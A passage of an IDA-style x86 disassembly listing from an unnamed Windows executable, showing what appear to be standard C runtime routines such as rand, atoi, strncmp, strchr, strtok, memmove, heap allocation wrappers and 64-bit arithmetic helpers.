loc_40DFDD:				; CODE XREF: sub_40DEA4+120j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_40DFE7
		and	byte ptr [eax],	0


loc_40DFE7:				; CODE XREF: sub_40DEA4+FDj
					; sub_40DEA4+119j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DEA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFEC	proc near		; CODE XREF: sub_40198E+EEBp
					; sub_40198E+10B3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_40FBCF
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_40E03D
		dec	[ebp+var_1C]
		js	short loc_40E030
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40E03D
; ---------------------------------------------------------------------------


loc_40E030:				; CODE XREF: sub_40DFEC+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40FA2B
		pop	ecx
		pop	ecx


loc_40E03D:				; CODE XREF: sub_40DFEC+35j
					; sub_40DFEC+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E043	proc near		; CODE XREF: sub_409C44+Ap
					; .text:00409E7Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_421200, eax
		retn
sub_40E043	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E04D	proc near		; CODE XREF: sub_40198E:loc_402531p
					; sub_40198E+1B43p ...
		mov	eax, dword_421200
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_421200, eax
		xor	eax, eax
		mov	ax, word ptr dword_421200+2
		and	eax, 7FFFh
		retn
sub_40E04D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E070	proc near		; CODE XREF: sub_40E0C8j
					; sub_415FE6+36p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	short loc_40E078
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: sub_40E070+14j
		inc	esi


loc_40E078:				; CODE XREF: sub_40E070+5j
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_411AAF
		test	eax, eax
		pop	ecx
		jnz	short loc_40E077
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_40E096
		cmp	ecx, 2Bh
		jnz	short loc_40E09A


loc_40E096:				; CODE XREF: sub_40E070+1Fj
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_40E09A:				; CODE XREF: sub_40E070+24j
		xor	eax, eax


loc_40E09C:				; CODE XREF: sub_40E070+4Dj
		cmp	ecx, 30h
		jl	short loc_40E0AB
		cmp	ecx, 39h
		jg	short loc_40E0AB
		sub	ecx, 30h
		jmp	short loc_40E0AE
; ---------------------------------------------------------------------------


loc_40E0AB:				; CODE XREF: sub_40E070+2Fj
					; sub_40E070+34j
		or	ecx, 0FFFFFFFFh


loc_40E0AE:				; CODE XREF: sub_40E070+39j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_40E0BF
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_40E09C
; ---------------------------------------------------------------------------


loc_40E0BF:				; CODE XREF: sub_40E070+41j
		cmp	edx, 2Dh
		pop	esi
		jnz	short locret_40E0C7
		neg	eax

locret_40E0C7:				; CODE XREF: sub_40E070+53j
		retn
sub_40E070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E0C8	proc near		; CODE XREF: sub_40198E+B8Ap
					; sub_40198E+B98p ...
		jmp	sub_40E070
sub_40E0C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40198E+7C1p
					; sub_40198E+7D4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_40E102
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_40E100
		jz	short loc_40E102
		sub	ecx, 2


loc_40E100:				; CODE XREF: sub_40E0D0+29j
		not	ecx


loc_40E102:				; CODE XREF: sub_40E0D0+9j
					; sub_40E0D0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40E0D0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40E120


loc_40E110:				; CODE XREF: sub_40E120+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40E120
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E120	proc near		; CODE XREF: sub_40198E+4B7p
					; sub_40198E+2923p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040E110 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_40E126:				; CODE XREF: sub_40D810+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40E14D


loc_40E138:				; CODE XREF: sub_40E120+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_40E110
		test	cl, cl
		jz	short loc_40E196
		test	edx, 3
		jnz	short loc_40E138


loc_40E14D:				; CODE XREF: sub_40E120+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_40E158:				; CODE XREF: sub_40E120+63j
					; sub_40E120+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40E19A
		and	eax, 81010100h
		jz	short loc_40E158
		and	eax, 1010100h
		jnz	short loc_40E194
		and	esi, 80000000h
		jnz	short loc_40E158


loc_40E194:				; CODE XREF: sub_40E120+6Aj
					; sub_40E120+83j ...
		pop	esi
		pop	edi


loc_40E196:				; CODE XREF: sub_40E120+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E19A:				; CODE XREF: sub_40E120+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40E1D7
		test	al, al
		jz	short loc_40E194
		cmp	ah, bl
		jz	short loc_40E1D0
		test	ah, ah
		jz	short loc_40E194
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40E1C9
		test	al, al
		jz	short loc_40E194
		cmp	ah, bl
		jz	short loc_40E1C2
		test	ah, ah
		jz	short loc_40E194
		jmp	short loc_40E158
; ---------------------------------------------------------------------------


loc_40E1C2:				; CODE XREF: sub_40E120+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E1C9:				; CODE XREF: sub_40E120+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E1D0:				; CODE XREF: sub_40E120+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E1D7:				; CODE XREF: sub_40E120+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40E120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1DE	proc near		; CODE XREF: sub_40198E+AAp
					; sub_40198E+BDp ...

var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		pop	ecx
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi


loc_40E202:				; CODE XREF: sub_40E1DE+3Dj
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_40E202
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_40E231
		mov	edx, dword_4C5954
		jmp	short loc_40E231
; ---------------------------------------------------------------------------


loc_40E22C:				; CODE XREF: sub_40E1DE+6Aj
		test	al, al
		jz	short loc_40E24A
		inc	edx


loc_40E231:				; CODE XREF: sub_40E1DE+44j
					; sub_40E1DE+4Cj
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_40E22C


loc_40E24A:				; CODE XREF: sub_40E1DE+50j
		mov	ebx, edx
		jmp	short loc_40E266
; ---------------------------------------------------------------------------


loc_40E24E:				; CODE XREF: sub_40E1DE+8Bj
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_40E26D
		inc	edx


loc_40E266:				; CODE XREF: sub_40E1DE+6Ej
		cmp	byte ptr [edx],	0
		jnz	short loc_40E24E
		jmp	short loc_40E271
; ---------------------------------------------------------------------------


loc_40E26D:				; CODE XREF: sub_40E1DE+85j
		and	byte ptr [edx],	0
		inc	edx


loc_40E271:				; CODE XREF: sub_40E1DE+8Dj
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		xor	ecx, [ebp+4]
		pop	edi
		and	eax, ebx
		pop	esi
		mov	dword_4C5954, edx
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_40E1DE	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E292	proc near		; CODE XREF: sub_40E2CAp
		mov	eax, offset sub_411F45
		mov	off_421364, eax
		mov	off_421368, offset sub_411C0B
		mov	off_42136C, offset sub_411C70
		mov	off_421370, offset sub_411BB3
		mov	off_421374, offset sub_411C56
		mov	off_421378, eax
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2CA	proc near		; CODE XREF: sub_40DD0D+39p
					; sub_411FE8+21p
					; DATA XREF: ...
		call	sub_40E292
		call	sub_411FE8
		mov	dword_4C595C, eax
		call	sub_411F96
		fnclex
		retn
sub_40E2CA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2E4	proc near		; CODE XREF: sub_40198E+1B5Ap
					; sub_40198E+2997p ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_40E343


loc_40E307:				; CODE XREF: sub_40E2E4+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_40E32B
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_40E357
; ---------------------------------------------------------------------------


loc_40E32B:				; CODE XREF: sub_40E2E4+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_40E357
; ---------------------------------------------------------------------------


loc_40E343:				; CODE XREF: sub_40E2E4+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_40E307
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_40E357:				; CODE XREF: sub_40E2E4+45j
					; sub_40E2E4+5Dj
		leave
		retn
sub_40E2E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E359	proc near		; CODE XREF: sub_4056A2+231p
					; sub_405E21+68p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40E38F
		cmp	dword_4C5B68, 3
		push	esi
		jnz	short loc_40E381
		call	sub_4120C4
		test	eax, eax
		pop	ecx
		push	esi
		jz	short loc_40E381
		push	eax
		call	sub_4120EF
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E381:				; CODE XREF: sub_40E359+11j
					; sub_40E359+1Cj
		push	0
		push	dword_4C5B64
		call	dword_4191B4	; RtlFreeHeap


loc_40E38F:				; CODE XREF: sub_40E359+7j
		pop	esi
		retn
sub_40E359	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3A0	proc near		; CODE XREF: sub_4056A2+15Ap
					; sub_406676+93p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40E3C0
		cmp	edi, eax
		jb	loc_40E53C


loc_40E3C0:				; CODE XREF: sub_40E3A0+16j
		test	edi, 3
		jnz	short loc_40E3DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40E3FC
		rep movsd
		jmp	off_40E4EC[edx*4]
; ---------------------------------------------------------------------------


loc_40E3DC:				; CODE XREF: sub_40E3A0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40E3F4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40E3FC+4[eax*4]
; ---------------------------------------------------------------------------


loc_40E3F4:				; CODE XREF: sub_40E3A0+46j
		jmp	dword ptr loc_40E4FC[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E3FC:				; CODE XREF: sub_40E3A0+31j
					; sub_40E3A0+8Ej ...
		jmp	off_40E480[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E410
		dd offset loc_40E43C
		dd offset loc_40E460
; ---------------------------------------------------------------------------


loc_40E410:				; DATA XREF: sub_40E3A0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40E3FC
		rep movsd
		jmp	off_40E4EC[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E43C:				; DATA XREF: sub_40E3A0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40E3FC
		rep movsd
		jmp	off_40E4EC[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40E460:				; DATA XREF: sub_40E3A0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40E3FC
		rep movsd
		jmp	off_40E4EC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40E480	dd offset loc_40E4E3	; DATA XREF: sub_40E3A0:loc_40E3FCr
		dd offset loc_40E4D0
		dd offset loc_40E4C8
		dd offset loc_40E4C0
		dd offset loc_40E4B8
		dd offset loc_40E4B0
		dd offset loc_40E4A8
		dd offset loc_40E4A0
; ---------------------------------------------------------------------------


loc_40E4A0:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40E4A8:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40E4B0:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40E4B8:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40E4C0:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40E4C8:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40E4D0:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40E4E3:				; CODE XREF: sub_40E3A0:loc_40E3FCj
					; DATA XREF: sub_40E3A0:off_40E480o
		jmp	off_40E4EC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40E4EC	dd offset loc_40E4FC	; DATA XREF: sub_40E3A0+35r
					; sub_40E3A0+92r ...
		dd offset loc_40E504
		dd offset loc_40E510
		dd offset loc_40E524
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E3A0+35j
					; sub_40E3A0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E504:				; CODE XREF: sub_40E3A0+35j
					; sub_40E3A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40E510:				; CODE XREF: sub_40E3A0+35j
					; sub_40E3A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E524:				; CODE XREF: sub_40E3A0+35j
					; sub_40E3A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E53C:				; CODE XREF: sub_40E3A0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40E570
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40E564
		std
		rep movsd
		cld
		jmp	off_40E688[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E564:				; CODE XREF: sub_40E3A0+1B5j
					; sub_40E3A0+210j ...
		neg	ecx
		jmp	off_40E638[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40E570:				; CODE XREF: sub_40E3A0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40E588
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40E588+4[eax*4]
; ---------------------------------------------------------------------------


loc_40E588:				; CODE XREF: sub_40E3A0+1DAj
					; DATA XREF: sub_40E3A0+1E1r
		jmp	off_40E688[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_40E59C
		dd offset loc_40E5C0
		dd offset loc_40E5E8
; ---------------------------------------------------------------------------


loc_40E59C:				; DATA XREF: sub_40E3A0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40E564
		std
		rep movsd
		cld
		jmp	off_40E688[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40E5C0:				; DATA XREF: sub_40E3A0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40E564
		std
		rep movsd
		cld
		jmp	off_40E688[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E5E8:				; DATA XREF: sub_40E3A0+1F8o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40E564
		std
		rep movsd
		cld
		jmp	off_40E688[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E63C
		dd offset loc_40E644
		dd offset loc_40E64C
		dd offset loc_40E654
		dd offset loc_40E65C
		dd offset loc_40E664
		dd offset loc_40E66C
off_40E638	dd offset loc_40E67F	; DATA XREF: sub_40E3A0+1C6r
; ---------------------------------------------------------------------------


loc_40E63C:				; DATA XREF: sub_40E3A0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40E644:				; DATA XREF: sub_40E3A0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40E64C:				; DATA XREF: sub_40E3A0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40E654:				; DATA XREF: sub_40E3A0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40E65C:				; DATA XREF: sub_40E3A0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40E664:				; DATA XREF: sub_40E3A0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40E66C:				; DATA XREF: sub_40E3A0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40E67F:				; CODE XREF: sub_40E3A0+1C6j
					; DATA XREF: sub_40E3A0:off_40E638o
		jmp	off_40E688[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40E688	dd offset loc_40E698	; DATA XREF: sub_40E3A0+1BBr
					; sub_40E3A0:loc_40E588r ...
		dd offset loc_40E6A0
		dd offset loc_40E6B0
		dd offset loc_40E6C4
; ---------------------------------------------------------------------------


loc_40E698:				; CODE XREF: sub_40E3A0+1BBj
					; sub_40E3A0:loc_40E588j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40E6A0:				; CODE XREF: sub_40E3A0+1BBj
					; sub_40E3A0:loc_40E588j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40E6B0:				; CODE XREF: sub_40E3A0+1BBj
					; sub_40E3A0:loc_40E588j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E6C4:				; CODE XREF: sub_40E3A0+1BBj
					; sub_40E3A0:loc_40E588j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40E3A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E6DD	proc near		; CODE XREF: sub_40E723+Bp

arg_0		= dword	ptr  4

		cmp	dword_4C5B68, 3
		push	esi
		mov	esi, [esp+4+arg_0]
		jnz	short loc_40E6FE
		cmp	esi, dword_4C5B54
		ja	short loc_40E6FE
		push	esi
		call	sub_4128A3
		test	eax, eax
		pop	ecx
		jnz	short loc_40E721


loc_40E6FE:				; CODE XREF: sub_40E6DD+Cj
					; sub_40E6DD+14j
		test	esi, esi
		jnz	short loc_40E703
		inc	esi


loc_40E703:				; CODE XREF: sub_40E6DD+23j
		cmp	dword_4C5B68, 1
		jz	short loc_40E712
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_40E712:				; CODE XREF: sub_40E6DD+2Dj
		push	esi
		push	0
		push	dword_4C5B64
		call	dword_4191B8	; RtlAllocateHeap


loc_40E721:				; CODE XREF: sub_40E6DD+1Fj
		pop	esi
		retn
sub_40E6DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E723	proc near		; CODE XREF: sub_40E74F+Ap
					; sub_40F6C6+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_40E74C


loc_40E72A:				; CODE XREF: sub_40E723+27j
		push	[esp+arg_0]
		call	sub_40E6DD
		test	eax, eax
		pop	ecx
		jnz	short locret_40E74E
		cmp	[esp+arg_4], eax
		jz	short locret_40E74E
		push	[esp+arg_0]
		call	sub_412B9F
		test	eax, eax
		pop	ecx
		jnz	short loc_40E72A


loc_40E74C:				; CODE XREF: sub_40E723+5j
		xor	eax, eax

locret_40E74E:				; CODE XREF: sub_40E723+13j
					; sub_40E723+19j
		retn
sub_40E723	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E74F	proc near		; CODE XREF: sub_4056A2+D7p
					; sub_405E21+21p ...

arg_0		= dword	ptr  4

		push	dword_4C5988
		push	[esp+4+arg_0]
		call	sub_40E723
		pop	ecx
		pop	ecx
		retn
sub_40E74F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E770	proc near		; CODE XREF: sub_405B42+2Cp
					; sub_40FBCF+60Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40E7A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_40E7E8
; ---------------------------------------------------------------------------


loc_40E7A1:				; CODE XREF: sub_40E770+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_40E7AF:				; CODE XREF: sub_40E770+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40E7AF
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40E7DD
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40E7DD
		jb	short loc_40E7E6
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40E7E6


loc_40E7DD:				; CODE XREF: sub_40E770+5Dj
					; sub_40E770+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_40E7E6:				; CODE XREF: sub_40E770+65j
					; sub_40E770+6Bj
		xor	ebx, ebx


